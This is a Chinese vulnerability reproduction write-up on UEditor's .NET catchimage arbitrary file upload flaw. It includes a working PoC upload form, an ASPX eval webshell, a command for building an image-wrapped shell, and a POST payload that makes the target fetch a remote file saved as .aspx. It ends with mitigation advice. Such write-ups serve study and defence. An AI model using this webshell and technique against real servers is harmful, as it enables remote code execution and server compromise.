1 漏洞简介

1.1 漏洞描述

Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,该漏洞只存在于该编辑器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影响,.net存在任意文件上传,绕过文件格式的限制,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。

1.2 影响范围

该漏洞影响UEditor的.Net版本,其它语言版本暂时未受影响。
  • 1

1.3 漏洞原理

漏洞的成因是在获取图片资源时仅检查了ContentType,导致可以绕过达到任意文件上传。

2 环境搭建

打开官网,点击历史版本,是百度网盘,选择1.4.3.3的net utf8版本,即
ueditor1_4_3-utf8-net.zip
  • 1
  • 2

网盘链接: https://pan.baidu.com/s/1ntG3Tsl#list/path=%2F,

**asp(.net)**环境安装,win2008,漏洞版本只支持.net 4.0,选择net4.0

下载之后运行,然后进行配置,配置参考以下链接

参考链接:
http://fex.baidu.com/ueditor/#server-net
  • 1
  • 2
  • 3

下载好之后,解压,将代码放在网站根目录下,访问net/controller.ashx 控制器文件。当出现下图的时候表示编辑器成功运行,且漏洞存在

3 漏洞分析

控制器中存在多个动作的调用,包含了uploadimage、uploadscrawl、uploadvideo、uploadfile、catchimage等等

这些动作默认情况下都可以远程访问,重点来介绍catchimage这个分支条件,由于它实例化了CrawlerHandler这个类,所以需要跟进这个一般处理程序类

第一行就获取了外界传入的source[] 数组,核心调用位于 Crawlers = Sources.Select(x=> new Crawler(x, Server).Fetch()).ToArray(); 通过这段lambda表达式来调用类里的方法执行后的结果 ,如下图跟进Fecth方法体内

首先通过IsExternalIPAddress方法判断是否是一个可被DNS解析的域名地址,如果不是就终止运行,逻辑代码如下

攻击者需要提供一个正常的域名地址就可以绕过此处判断;然后进入第二个条件判断 : 对文件ContentType的识别

这段代码很眼熟,一般常见于php文件上传的时候对文件头的判断,这段代码很容易绕过,只需要构造一张图片马儿就可以绕过它的判断,或者构造一个gif89的假图片也可以绕过;最后编辑器根据配置文件的信息创建对应的目录结构再保存文件,代码如下

4 漏洞验证

漏洞路径:controller.ashx?action=catchimage

漏洞利用:上传图片马到目标站点或者其他可以上传图片马的地址: http://目标站点/upload/1.gif, 远程shell地址需要指定扩展名为 http://目标站点/upload/1.gif?.aspx

1、本地构造一个html,页面用于上传使用

因为不是上传漏洞所以enctype 不需要指定为multipart/form-data , 之前见到有poc指定了这个值。完整的poc如下

<form action="http://xxxxxxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">

<p>shell addr: <input type=“text” name=“source[]” /></p >

<input type=“submit” value=“Submit” />

</form>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

其中【http://xx.com】填写你要测试的网站地址,action后填写路径为实际中遇到的路径,不要太死板,如果太死板不按网站的实际路径来就会出现这种路径找不到的错误。

即:

shell addr:

准备一台服务区存放图片马或者需要上传的文件,只要绕过【image】检测就可以正常上传到目标服务器了,从而进一步getshell

制作图片马

Aspx一句话

<% @Page Language=“Jscript”%><%eval(Request.Item[“pass”],“unsafe”);%>

copy 1.JPG/b + 1.aspx/a ueditor.jpg

复制当前目录下的1.jpg图片和当前目录下的1.aspx文件并以ASCII代码的方式合并为 ueditor.jpg图片

本地打开构造的恶意html

服务器上的图片马

shell addr 处填写服务器上图片马地址,构造成以下格式,绕过上传使其解析为 aspx

http://xxxx/ueditor.jpg?.aspx

复制图片马网站链接到构造的html中,如下图:

点击submit,直接上传成功,并返回我们的aspx脚本木马路径地址``

2、直接post上传图片马,post内容写图片马的url

post 数据为:
source[]=https://s1.ax1x.com/2018/04/11/CkFSrn.jpg?.aspx(此处随便上传的图片,作为测试,主要是验证可以被解析为aspx文件)

如果你没有绕过【image】检测的话,就会显示如下提示:

成功则访问图片马,注意访问的时候是配置里面的路径,根据个人情况进行路径调整

Poc验证

5 漏洞总结及防御方案

总结:

攻击者可以上传任意文件包括脚本执行文件,包括aspx脚本木马,asp脚本木马,还可以利用该UEditor漏洞对服务器进行攻击,执行系统命名破坏服务器

防御方案:

1.目前临时的漏洞修复是建议,把文件上传目录设置无脚本执行权限,uploadvideo、uploadimage、catchimage、uploadscrawl、uploadfile、等等目录都设置上无脚本权限。

2.在百度UEditor官方没有出补丁前,设置图片目录为只读,禁止写入。

3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。

4.修改程序的源代码,对crawlerhandler源文件进行文件上传格式的严格过滤与判断。

image、uploadscrawl、uploadfile、等等目录都设置上无脚本权限。

2.在百度UEditor官方没有出补丁前,设置图片目录为只读,禁止写入。

3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。

4.修改程序的源代码,对crawlerhandler源文件进行文件上传格式的严格过滤与判断。

参考链接

https://www.freebuf.com/vuls/181814.html
https://www.cnblogs.com/Ivan1ee/p/10198866.html

UEditor 任意文件上传漏洞相关推荐

  1. UEditor .Net版本任意文件上传漏洞复现总结

    UEditor .Net版本任意文件上传漏洞复现总结 - 知乎 (zhihu.com) 这个洞有一定年数了,是2018年发现的(从下图的shodan中可以得知,该漏洞已经被大部分黑客SEO利用),最近 ...

  2. php上传漏洞绕过gd库,jQuery File Upload任意文件上传漏洞

    事件背景 jQuery是一个快速.简洁的JavaScript框架,是继Prototype之后又一个JavaScript代码库(或JavaScript框架).jQuery File Upload一个jQ ...

  3. 某office前台任意文件上传漏洞分析

    X微e-office的那个前台任意文件上传漏洞已经被爆出一段时间了,相关的漏洞利用脚本甚至是漏洞批量利用脚本 也有很多.在这里根据系统代码结合POC来分析一下这个漏洞点. 定位漏洞点 [私信回复&qu ...

  4. 任意文件上传mysql_BigDump 跨站脚本、SQL注入、任意文件上传漏洞

    发布日期:2012-11-28 更新日期:2012-12-04 受影响系统: ozerov BigDump 0.29b 描述: ------------------------------------ ...

  5. vc++ 6.0 创建程序快捷方式的一个例子源码_漏洞复现:phpcms v9.6.0任意文件上传漏洞(CVE201814399)...

    文章说明 漏洞复现是为了学习漏洞利用所写,漏洞都是互联网上以流传已久的各种漏洞的利用及原理,用来增强自己见识,培养自己动手能力,有兴趣的朋友可自行搭建环境练习.源码下载连接在文章最后. 漏洞说明 PH ...

  6. 织梦guestbook.php漏洞,DEDE:织梦漏洞修复(含任意文件上传漏洞与注入漏洞)

    这几天阿里频繁提醒网站有漏洞,搞得我不胜其烦,好吧,我修复还不行吗?搜索之后整理如下,仅供参考(5.7以上版本适用): 任意文件上传漏洞修复 一./include/dialog/select_soft ...

  7. 详细分析 Sonlogger 任意文件上传漏洞 (CVE-2021-27964)

     聚焦源代码安全,网罗国内外最新资讯! 概述 Sonlogger 是土耳其SFC 公司 开发的一款应用软件,兼容土耳其<第5651号法>,是一款基于 Web 的 SonicWall 防火墙 ...

  8. FireEye 红队失窃工具大揭秘之:分析复现 Zoho 任意文件上传漏洞(CVE-2020-8394)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  9. 畅捷通T+ v17任意文件上传漏洞复现

    1.前言 8月29晚上就开始收到通知,让我们来排查一下是否有使用畅捷通的系统,说是疑似0day导致很多用户被植入勒索病毒,一时间风头十足.第二天很多平台都更新的防护策略,本次漏洞是任意文件上传漏洞,如 ...

最新文章

  1. Python Qt GUI设计:信号与槽的使用方法(基础篇—7)
  2. 习题:八数码难题(双向BFS)
  3. 电子工程可以报考二建_毕业证上财务管理专业,可以报考二建吗?
  4. DCMTK:使用JPEG-LS传输语法压缩DICOM文件
  5. MySQL(八)MySQL性能优化
  6. python爬取ajax动态内容肯德基门店,Python爬虫如何爬取KFC地址
  7. JavaScript强化教程——数组的基本处理函数
  8. SVN 冲突文件详解
  9. C语言数据结构之顺序队列
  10. html里的音频插件,html5音频播放插件
  11. java餐饮系统需求总结,基于java的餐饮管理系统的设计与实现开题报告
  12. linux区别sata和sas,企业级硬盘sata与sas接口区别,该怎么选择
  13. Unity 改变下载资源商店中资源默认路径的方法
  14. PDF页面旋转怎么操作
  15. JavaScript修改表格行的背景色,鼠标所在行颜色高亮
  16. 经管保研|2022复旦经院推免研究报告
  17. 死区特性函数以及MATLAB验算
  18. 40 sinon spy间谍函数
  19. 计算机毕业设计Java藏宝阁游戏交易系统(源码+系统+mysql数据库+lw文档)
  20. 深入了解bash与sh的区别

热门文章

  1. 单片机float数发给上位机_上位机倒计时器
  2. mysql 批量加索引_mysql优化:按期删数据 + 批量insert + 字符串加索引为何很傻
  3. html首页我的待办,JavaScript / HTML中的待办事项列表
  4. 荣耀v10Android9新功能,荣耀10、荣耀V10开启安卓9.0内测 日常领跑行业
  5. java hashmap实例_java HashMap详解及实例代码
  6. oracle编程基本语法,oracle编程基础语法
  7. js循环获取table中的值
  8. python操作数据库
  9. 在fedora下面安装ftp服务器
  10. mysql启动报错:Another MySQL daemon already running with the same unix socket.